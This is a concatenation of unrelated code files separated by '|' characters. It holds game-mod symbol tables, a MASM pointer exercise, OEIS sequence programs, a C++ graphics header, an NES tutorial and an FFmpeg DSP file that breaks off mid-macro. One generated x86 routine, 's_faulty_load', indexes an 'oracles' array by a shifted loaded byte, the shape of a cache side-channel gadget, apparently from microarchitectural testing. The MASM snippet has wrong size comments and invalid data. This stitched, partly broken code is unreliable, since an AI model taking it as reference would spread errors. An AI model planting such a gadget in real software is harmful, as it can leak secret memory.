defit __ZN8EditorUI13disableButtonEP14CreateMenuItem, 0x1c0f0
defit __ZN8EditorUI12enableButtonEP14CreateMenuItem, 0x1bff0
defit __ZN16LevelEditorLayer12removeObjectEP10GameObjectb, 0x96890
defit __ZN16LevelEditorLayer19addObjectFromStringESs, 0x94640
defit __ZN16LevelEditorLayer18getNextFreeGroupIDEPN7cocos2d7CCArrayE, 0x9a1b0
defit __ZN7cocos2d8CCSprite21createWithSpriteFrameEPNS_13CCSpriteFrameE, 0x132cb0
defit __ZN7cocos2d10CCDrawNode11drawSegmentERKNS_7CCPointES3_fRKNS_10_ccColor4FE, 0x3792d0
defit __ZN7cocos2d10CCDrawNode5clearEv, 0x379e80
defit __ZN7cocos2d10CCDrawNode6createEv, 0x378d00
defit __ZNK7cocos2d7CCArray14containsObjectEPNS_8CCObjectE, 0x41a3e0
defit __ZN7cocos2d7CCArray12removeObjectEPNS_8CCObjectEb, 0x41a490
defit __ZN14GJSearchObject6createE10SearchType, 0x2df120
defit __ZN7cocos2d10CCDirector12replaceSceneEPNS_7CCSceneE, 0x24a6d0
defit __ZN7cocos2d6CCMenu33alignItemsHorizontallyWithPaddingEf, 0x4393e0
defit __ZN7cocos2d13CCLabelBMFont15limitLabelWidthEfff, 0x34a6e0
defit __ZN6Slider6createEPN7cocos2d6CCNodeEMNS0_8CCObjectEFvPS3_EPKcS8_S8_S8_f, 0x18dd80
defit __ZN6Slider6createEPN7cocos2d6CCNodeEMNS0_8CCObjectEFvPS3_Ef, 0x18dc40
defit __ZN6Slider16setBarVisibilityEb, 0x18e280
defit __ZN6Slider8getValueEv, 0x18e0c0
defit __ZN7cocos2d7CCLayerC1Ev, 0x2725b0
defit __ZN7cocos2d6CCSizeC2ERKS0_, 0x137400
defit __ZN7cocos2d6CCSizeC1ERKS0_, 0x137400 ; stupid clang
defit __ZN15CCTextInputNode24setLabelPlaceholderColorEN7cocos2d10_ccColor3BE, 0x5da90
defit __ZN6Slider8setValueEf, 0x18e170
defit __ZN7cocos2d7CCLayerC2Ev, 0x2725b0 ; stupid clang
defit __ZN12FLAlertLayer27registerWithTouchDispatcherEv, 0x25f2e0
defit __ZN7cocos2d7CCLayer27registerWithTouchDispatcherEv, 0x272b40
defit __ZN15GJDropDownLayer27registerWithTouchDispatcherEv, 0x3525f0
defit __ZN12FLAlertLayer12ccTouchBeganEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x25ee40
defit __ZN12FLAlertLayer12ccTouchMovedEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x25f0a0
defit __ZN12FLAlertLayer12ccTouchEndedEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x25ef60
defit __ZN12FLAlertLayer16ccTouchCancelledEPN7cocos2d7CCTouchEPNS0_7CCEventE, 0x25f020
defit __ZThn288_N7cocos2d7CCLayer12ccTouchBeganEPNS_7CCTouchEPNS_7CCEventE, 0x273510
defit __ZThn288_N7cocos2d7CCLayer12ccTouchMovedEPNS_7CCTouchEPNS_7CCEventE, 0x273590
defit __ZThn288_N7cocos2d7CCLayer12ccTouchEndedEPNS_7CCTouchEPNS_7CCEventE, 0x273610
defit __ZThn288_N7cocos2d7CCLayer16ccTouchCancelledEPNS_7CCTouchEPNS_7CCEventE, 0x273690
defit __ZThn304_N7cocos2d7CCLayer14keyBackClickedEv, 0x2731b0
defit __ZThn312_N7cocos2d7CCLayer7keyDownENS_12enumKeyCodesE, 0x2732c0
defit __ZN7cocos2d7CCLayerD2Ev, 0x272900 ; stupid clang
defit __ZN7cocos2d7CCLayer4initEv, 0x2729a0
defit __ZNK7cocos2d6CCRect13containsPointERKNS_7CCPointE, 0x1377b0
defit __ZN7cocos2d10CCDrawNode11drawPolygonEPNS_7CCPointEjRKNS_10_ccColor4FEfS5_, 0x3797f0
defit __ZN15FMODAudioEngine12sharedEngineEv, 0x20ef80
defit __ZN15GJDropDownLayer4initEPKcf, 0x352100
defit __ZN7cocos2d12CCLayerColorC1Ev, 0x2738d0
defit __ZN7cocos2d12CCLayerColorC2Ev, 0x2738d0 ; stupid clang
defit __ZN7cocos2d12CCLayerColorD2Ev, 0x274410 ; stupid clang
defit __ZN15GJDropDownLayer11customSetupEv, 0x352570
defit __ZN15GJDropDownLayer10enterLayerEv, 0x3525c0
defit __ZN15GJDropDownLayer9exitLayerEPN7cocos2d8CCObjectE, 0x352670
defit __ZN15GJDropDownLayer9showLayerEb, 0x3526c0
defit __ZN15GJDropDownLayer9hideLayerEb, 0x3527b0
defit __ZN15GJDropDownLayer12layerVisibleEv, 0x3528b0
defit __ZN15GJDropDownLayer11layerHiddenEv, 0x3528d0
defit __ZN15GJDropDownLayer17enterAnimFinishedEv, 0x3528a0
defit __ZN15GJDropDownLayer9disableUIEv, 0x352580
defit __ZN15GJDropDownLayer8enableUIEv, 0x3525a0
defit __ZN15GJDropDownLayerD2Ev, 0x351d00 ; stupid clang
defit __ZN15GJDropDownLayerD1Ev, 0x351d00
defit __ZN15GJDropDownLayerD0Ev, 0x351ea0
defit __ZN15GJDropDownLayer6createEPKc, 0x352530
defit __ZNK7cocos2d6CCRect7getMinXEv, 0x137750
defit __ZNK7cocos2d6CCRect7getMaxXEv, 0x137710
defit __ZNK7cocos2d6CCRect7getMaxYEv, 0x137760
defit __ZN10GameObject13getObjectRectEv, 0x3352b0
defit __ZN5OBB2D15getBoundingRectEv, 0x35b2b0
defit _sexyRender, 0x274b50
global __ZTIN7cocos2d6CCNodeE
global __ZTI12FLAlertLayer
global __ZTIN7cocos2d7CCLayerE
global __ZTIN7cocos2d12CCLayerColorE
global __Z14setupTypeinfosv
defit __ZN10GameObject13getSaveStringEv, 0x33d3d0
__Z14setupTypeinfosv:
push rbp
mov rbp, rsp
;call __Z7getBasev
;add rax, 0x624f70
;mov [rel __ZTIN7cocos2d6CCNodeE], rax
;typeinfo __ZTI12FLAlertLayer, 0x65d870, 40
pop rbp
ret
section .bss
__ZTIN7cocos2d6CCNodeE: resq 5
__ZTIN7cocos2d7CCLayerE: resq 5
__ZTI12FLAlertLayer: resq 5
__ZTIN7cocos2d12CCLayerColorE: resq 5
|
.386
.model flat
PBYTE TYPEDEF PTR BYTE ;8bits
PWORD TYPEDEF PTR WORD ;32 bits
PDWORD TYPEDEF PTR DWORD; 64 bits
.data
arrayB BYTE F,A,49,0,0;
arrayW WORD AAAAh,BBBBh,CCCh
arrayDW DWORD 4,5,6,7,8
;defining pointers to these arrays
pt_1 PBYTE arrayB
pt_2 PWORD arrayW
pt_3 PDWORD arrayDW
.code
pointproc proc:
mov esi, pt_1; moving pointer 1 to the source index pointer
mov al, [esi]; moving one byte to the lower byte of eax wich is al
mov esi, pt_2; moving pointer 1 to the source index register
mov ax, [esi]; moving one word to ax register (16 bit)
mov esi, pt_3; moving the third pointe to the source index register
mov eax, [esi]
pointproc endp
end
|
; A004696: a(n) = floor(Fibonacci(n)/3).
; 0,0,0,0,1,1,2,4,7,11,18,29,48,77,125,203,329,532,861,1393,2255,3648,5903,9552,15456,25008,40464,65472,105937,171409,277346,448756,726103,1174859,1900962,3075821,4976784,8052605,13029389,21081995,34111385,55193380,89304765,144498145,233802911,378301056,612103967,990405024,1602508992,2592914016,4195423008,6788337024,10983760033,17772097057,28755857090,46527954148,75283811239,121811765387,197095576626,318907342013,516002918640,834910260653,1350913179293,2185823439947,3536736619241,5722560059188,9259296678429,14981856737617,24241153416047,39223010153664,63464163569711,102687173723376,166151337293088,268838511016464,434989848309552,703828359326016,1138818207635569,1842646566961585,2981464774597154,4824111341558740,7805576116155895
mov $1,2
lpb $0,1
sub $0,1
add $1,$3
mov $3,$2
mov $2,$1
lpe
div $1,6
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x6e0d, %r11
nop
nop
nop
nop
xor %r12, %r12
mov $0x6162636465666768, %r13
movq %r13, %xmm2
and $0xffffffffffffffc0, %r11
movntdq %xmm2, (%r11)
nop
nop
nop
nop
inc %rcx
lea addresses_UC_ht+0x420d, %r14
nop
nop
nop
cmp %r9, %r9
movb (%r14), %r12b
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x1a40d, %rsi
lea addresses_A_ht+0x86cd, %rdi
nop
nop
nop
nop
cmp %r9, %r9
mov $45, %rcx
rep movsb
nop
nop
sub $13225, %r14
lea addresses_WC_ht+0x3b0d, %rsi
nop
nop
nop
nop
xor %r9, %r9
mov $0x6162636465666768, %rbp
movq %rbp, (%rsi)
nop
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x13c0d, %r11
nop
nop
nop
inc %rbp
movw $0x6162, (%r11)
nop
nop
nop
inc %r9
lea addresses_WC_ht+0xaf11, %rsi
lea addresses_UC_ht+0xf51d, %rdi
xor %r14, %r14
mov $24, %rcx
rep movsb
cmp $44325, %rcx
lea addresses_WC_ht+0x5a0d, %r11
nop
nop
nop
nop
nop
cmp $21940, %r14
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r11)
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x18c0d, %rdi
nop
nop
nop
nop
nop
and %r9, %r9
and $0xffffffffffffffc0, %rdi
vmovaps (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r13
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WT_ht+0xb0d, %rsi
lea addresses_A_ht+0xec1d, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $4, %rcx
rep movsb
nop
nop
xor %rdi, %rdi
lea addresses_WC_ht+0x1de0d, %rcx
nop
sub %r11, %r11
mov $0x6162636465666768, %rbp
movq %rbp, %xmm4
vmovups %ymm4, (%rcx)
nop
nop
nop
nop
xor %r13, %r13
lea addresses_WC_ht+0x20d, %rsi
nop
nop
nop
nop
nop
and %rbp, %rbp
movb (%rsi), %r9b
dec %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %r8
push %r9
push %rdx
push %rsi
// Store
lea addresses_PSE+0x4b0d, %r13
nop
nop
nop
sub %rsi, %rsi
movw $0x5152, (%r13)
nop
nop
nop
nop
nop
sub $65266, %rsi
// Store
lea addresses_PSE+0x8a0d, %r13
nop
inc %r11
movb $0x51, (%r13)
nop
nop
nop
nop
nop
add %r11, %r11
// Load
lea addresses_normal+0x5a0d, %rdx
nop
nop
nop
inc %r15
vmovups (%rdx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r8
nop
nop
nop
xor $39649, %r11
// Faulty Load
lea addresses_PSE+0x8a0d, %r15
nop
cmp %r11, %r11
movb (%r15), %r9b
lea oracles, %r11
and $0xff, %r9
shlq $12, %r9
mov (%r11,%r9,1), %r9
pop %rsi
pop %rdx
pop %r9
pop %r8
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': True, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
// *****************************************************************************
// Rendering core interface
//
// Module: Graphics
// Contact person: SZI, DGY, AID
//
// SG compatible
// *****************************************************************************
#ifndef _IRENDERINGCORE_HPP_
#define _IRENDERINGCORE_HPP_
// --- Includes ----------------------------------------------------------------
#include <atomic>
#include "GraphixDefinitions.hpp"
#include "EventObserver.hpp"
#include "Condition.hpp"
#include "Lock.hpp"
#include "Atomic.hpp"
namespace Graphix {
struct Rect;
class IRenderingContext;
class IResourceFactory;
// --- IRenderingTask definition -----------------------------------------------
class GRAPHIX_DLL_EXPORT IRenderingTask
{
// NOTE: in order to use any GPU API calls, you have to subclass this interface
private:
int universeID;
std::atomic_bool disposing;
std::atomic_bool needsPresent;
std::atomic_bool inQueue;
protected:
IRenderingTask (int universe);
// NOTE: won't be reset automatically!
inline void SetNeedsPresent (bool value) { needsPresent = value; }
virtual void AddedToQueue () {}
virtual void RemovedFromQueue () {}
virtual void StartCoreProcessing () {}
virtual void EndCoreProcessing () {}
public:
virtual ~IRenderingTask ();
virtual void Execute (IRenderingContext* context, IResourceFactory* factory) = 0;
virtual void Process (IRenderingContext* context, IResourceFactory* factory);
virtual void Dispose () = 0;
void StandInQueue (bool value);
void ProcessingByCore (bool value);
inline int GetUniverseID () const { return universeID; }
inline void MarkForDispose () { disposing = true; } // will be deleted after execution
inline bool IsInQueue () const { return inQueue; }
inline bool IsMarkedForDispose () const { return disposing; }
inline bool NeedsPresent () const { return needsPresent; }
};
// --- IPersistentTask definition ----------------------------------------------
class GRAPHIX_DLL_EXPORT IPersistentTask : public IRenderingTask
{
// NOTE: a helper class when you want your task to be 'persistent' (it's lifetime extends beyond a single method)
private:
enum TaskState : Int32 {
Free,
Syncing,
Executing
};
GS::Lock mutex;
GS::Condition execution_done;
GS::Condition synching_done;
Int32 state;
protected:
IPersistentTask (int universe);
public:
void Process (IRenderingContext* context, IResourceFactory* factory) override final;
void BeginSynchronization ();
void EndSynchronization ();
};
// --- Helper classes ----------------------------------------------------------
class GRAPHIX_DLL_EXPORT IUserData
{
// NOTE: used in external rendering (like the OpenGL addon)
public:
virtual ~IUserData ();
};
class GRAPHIX_DLL_EXPORT IRenderingCoreObserver : public GS::EventObserver
{
public:
virtual ~IRenderingCoreObserver ();
virtual void UniverseDeleted (int /*universe*/) {}
};
// --- IRenderingCore definition -----------------------------------------------
class IRenderingCore
{
protected:
IRenderingCore ();
virtual ~IRenderingCore ();
public:
struct Statistics {
uint64_t TimeSpentWaiting; // us
uint64_t TimeSpentExecuting; // us
Statistics () {
TimeSpentWaiting = 0;
TimeSpentExecuting = 0;
}
};
virtual void AddTask (IRenderingTask* task) = 0;
//virtual void AddParallelTask (IRenderingTask* task) = 0; // will be executed on separate thread
virtual void Shutdown () = 0;
// user data support
virtual void AddConnectedObject (int universe, IUserData* userdata) = 0;
virtual IUserData* GetConnectedObject (int universe) = 0;
virtual void RemoveConnectedObject (int universe) = 0;
// these methods always block the calling thread
virtual int CreateUniverse (void* hdc) = 0;
virtual void DeleteUniverse (int universe) = 0;
virtual void Barrier () = 0;
// query methods
virtual bool IsUniverse (int universe) const = 0;
virtual int GetActiveUniverseID () const = 0;
virtual void GetUniverseClientRect (int universe, Rect& out) const = 0;
virtual void GetPerformanceStatistics (Statistics& out) const = 0;
// observer support
virtual void Attach (IRenderingCoreObserver& observer) = 0;
virtual void Detach (IRenderingCoreObserver& observer) = 0;
// GPU info
GRAPHIX_DLL_EXPORT static GS::Int32 GetVRAMSize ();
GRAPHIX_DLL_EXPORT static bool ShouldDisableMSAA ();
};
// factory & other functions
GRAPHIX_DLL_EXPORT IRenderingCore* GetGLRenderingCore ();
GRAPHIX_DLL_EXPORT void CloseGLRenderingCore ();
GRAPHIX_DLL_EXPORT void CompactGLResources ();
}
#endif
|
; A329753: Doubly square pyramidal numbers.
; 0,1,55,1015,9455,56980,255346,924490,2850730,7757035,19096385,43312841,91753025,183453270,349074740,636310340,1117143236,1897397285,3129084635,5026125195,7884086595,12104671656,18225763270,26957923950,39228339150,56233289775,79500340101,110961532605
seq $0,188475 ; a(n) = (2*n^3 + 3*n^2 + n + 3)/3.
add $0,1
bin $0,3
div $0,4
|
.inesprg 1 ; 1x 16KB PRG code
.ineschr 1 ; 1x 8KB CHR data
.inesmap 0 ; mapper 0 = NROM, no bank swapping
.inesmir 1 ; background mirroring
;;;;;;;;;;;;;;;
.bank 0
.org $C000
RESET:
SEI ; disable IRQs
CLD ; disable decimal mode
LDX #$40
;STX $4017 ; disable APU frame IRQ
LDX #$FF
TXS ; Set up stack
INX ; now X = 0
;STX $2000 ; disable NMI
;STX $2001 ; disable rendering
;STX $4010 ; disable DMC IRQs
clrmem:
LDA #$00
STA $0000, x
STA $0100, x
STA $0200, x
STA $0400, x
STA $0500, x
STA $0600, x
STA $0700, x
LDA #$FE
STA $0300, x
INX
BNE clrmem
setmem:
LDX #$00
loop:
TXA
STA $0000, x
INX
BNE loop
NMI:
RTI
;;;;;;;;;;;;;;
.bank 1
.org $E000
palette:
.db $0F,$31,$32,$33,$34,$35,$36,$37,$38,$39,$3A,$3B,$3C,$3D,$3E,$0F
.db $0F,$1C,$15,$14,$31,$02,$38,$3C,$0F,$1C,$15,$14,$31,$02,$38,$3C
sprites:
;vert tile attr horiz
.db $80, $32, $00, $80 ;sprite 0
.db $80, $33, $00, $88 ;sprite 1
.db $88, $34, $00, $80 ;sprite 2
.db $88, $35, $00, $88 ;sprite 3
.org $FFFA ;first of the three vectors starts here
.dw NMI ;when an NMI happens (once per frame if enabled) the
;processor will jump to the label NMI:
.dw RESET ;when the processor first turns on or is reset, it will jump
;to the label RESET:
.dw 0 ;external interrupt IRQ is not used in this tutorial
;;;;;;;;;;;;;;
.bank 2
.org $0000
.incbin "mario.chr" ;includes 8KB graphics file from SMB1
|
;*****************************************************************************
;* MMX optimized DSP utils
;*****************************************************************************
;* Copyright (c) 2000, 2001 Fabrice Bellard
;* Copyright (c) 2002-2004 Michael Niedermayer <michaelni@gmx.at>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;*****************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION .text
%macro DIFF_PIXELS_1 4
movh %1, %3
movh %2, %4
punpcklbw %2, %1
punpcklbw %1, %1
psubw %1, %2
%endmacro
; %1=uint8_t *pix1, %2=uint8_t *pix2, %3=static offset, %4=stride, %5=stride*3
; %6=temporary storage location
; this macro requires $mmsize stack space (aligned) on %6 (except on SSE+x86-64)
%macro DIFF_PIXELS_8 6
DIFF_PIXELS_1 m0, m7, [%1 +%3], [%2 +%3]
DIFF_PIXELS_1 m1, m7, [%1+%4 +%3], [%2+%4 +%3]
DIFF_PIXELS_1 m2, m7, [%1+%4*2+%3], [%2+%4*2+%3]
add %1, %5
add %2, %5
DIFF_PIXELS_1 m3, m7, [%1 +%3], [%2 +%3]
DIFF_PIXELS_1 m4, m7, [%1+%4 +%3], [%2+%4 +%3]
DIFF_PIXELS_1 m5, m7, [%1+%4*2+%3], [%2+%4*2+%3]
DIFF_PIXELS_1 m6, m7, [%1+%5 +%3], [%2+%5 +%3]
%ifdef m8
DIFF_PIXELS_1 m7, m8, [%1+%4*4+%3], [%2+%4*4+%3]
%else
mova [%6], m0
DIFF_PIXELS_1 m7, m0, [%1+%4*4+%3], [%2+%4*4+%3]
mova m0, [%6]
%endif
sub %1, %5
sub %2, %5
%endmacro
%macro HADAMARD8 0
SUMSUB_BADC w, 0, 1, 2, 3
SUMSUB_BADC w, 4, 5, 6, 7
SUMSUB_BADC w, 0, 2, 1, 3
SUMSUB_BADC w, 4, 6, 5, 7
SUMSUB_BADC w, 0, 4, 1, 5
SUMSUB_BADC w, 2, 6, 3, 7
%endmacro
%macro ABS1_SUM 3
ABS1 %1, %2
paddusw %3, %1
%endmacro
%macro ABS2_SUM 6
ABS2 %1, %2, %3, %4
paddusw %5, %1
paddusw %6, %2
%endmacro
%macro ABS_SUM_8x8_64 1
ABS2 m0, m1, m8, m9
ABS2_SUM m2, m3, m8, m9, m0, m1
ABS2_SUM m4, m5, m8, m9, m0, m1
ABS2_SUM m6, m7, m8, m9, m0, m1
paddusw m0, m1
%endmacro
%macro ABS_SUM_8x8_32 1
mova [%1], m7
ABS1 m0, m7
ABS1 m1, m7
ABS1_SUM m2, m7, m0
ABS1_SUM m3, m7, m1
ABS1_SUM m4, m7, m0
ABS1_SUM m5, m7, m1
ABS1_SUM m6, m7, m0
mova m2, [%1]
ABS1_SUM m2, m7, m1
paddusw m0, m1
%endmacro
; FIXME: HSUM saturates at 64k, while an 8x8 hadamard or dct block can get up to
; about 100k on extreme inputs. But that's very unlikely to occur in natural video,
; and it's even more unlikely to not have any alternative mvs/modes with lower cost.
%macro HSUM 3
%if cpuflag(sse2)
movhlps %2, %1
paddusw %1, %2
pshuflw %2, %1, 0xE
paddusw %1, %2
pshuflw %2, %1, 0x1
paddusw %1, %2
movd %3, %1
%elif cpuflag(mmxext)
pshufw %2, %1, 0xE
paddusw %1, %2
pshufw %2, %1, 0x1
paddusw %1, %2
movd %3, %1
%elif cpuflag(mmx)
mova %2, %1
psrlq %1, 32
paddusw %1, %2
mova %2, %1
psrlq %1, 16
paddusw %1, %2
movd %3, %1
%endif
%endmacro
%macro STORE4 5
mova [%1+mmsize*0], %2
mova [%1+mmsize*1], %3
mova [%1+mmsize*2], %4
mova [%1+mmsize*3], %5
%endmacro
%macro LOAD4 5
mova %2, [%1+mmsize*0]
mova %3, [%1+mmsize*1]
mova %4, [%1+mmsize*2]
mova %5, [%1+mmsize*3]
%endmacro
%macro hadamard8_16_wrapper 2
cglobal hadamard8_diff, 4, 4, %1
%ifndef m8
%assign pad %2*mmsize-(4+stack_offset&(mmsize-1))
SUB rsp, pad
%endif
call hadamard8x8_diff %+ SUFFIX
%ifndef m8
ADD rsp, pad
%endif
RET
cglobal hadamard8_diff16, 5, 6, %1
%ifndef m8
%assign pad %2*mmsize-(4+stack_offset&(mmsize-1))
SUB rsp, pad
%endif
call hadamard8x8_diff %+ SUFFIX
mov r5d, eax
add r1, 8
add r2, 8
call hadamard8x8_diff %+ SUFFIX
add r5d, eax
cmp r4d, 16
jne .done
lea r1, [r1+r3*8-8]
lea r2, [r2+r3*8-8]
call hadamard8x8_diff %+ SUFFIX
add r5d, eax
add r1, 8
add r2, 8
call hadamard8x8_diff %+ SUFFIX
add r5d, eax
.done:
mov eax, r5d
%ifndef m8
ADD rsp, pad
%endif
RET
%endmacro
%macro HADAMARD8_DIFF 0-1
%if cpuflag(sse2)
hadamard8x8_diff %+ SUFFIX:
lea r0, [r3*3]
DIFF_PIXELS_8 r1, r2, 0, r3, r0, rsp+gprsize
HADAMARD8
%if ARCH_X86_64
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 8
%else
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [rsp+gprsize], [rsp+mmsize+gprsize]
%endif
HADAMARD8
ABS_SUM_8x8 rsp+gprsize
HSUM m0, m1, eax
and eax, 0xFFFF
ret
hadamard8_16_wrapper %1, 3
%elif cpuflag(mmx)
ALIGN 16
; int hadamard8_diff_##cpu(void *s, uint8_t *src1, uint8_t *src2,
; int stride, int h)
; r0 = void *s = unused, int h = unused (always 8)
; note how r1, r2 and r3 are not clobbered in this function, so 16x16
; can simply call this 2x2x (and that's why we access rsp+gprsize
; everywhere, which is rsp of calling func
hadamard8x8_diff %+ SUFFIX:
lea r0, [r3*3]
; first 4x8 pixels
DIFF_PIXELS_8 r1, r2, 0, r3, r0, rsp+gprsize+0x60
HADAMARD8
mova [rsp+gprsize+0x60], m7
TRANSPOSE4x4W 0, 1, 2, 3, 7
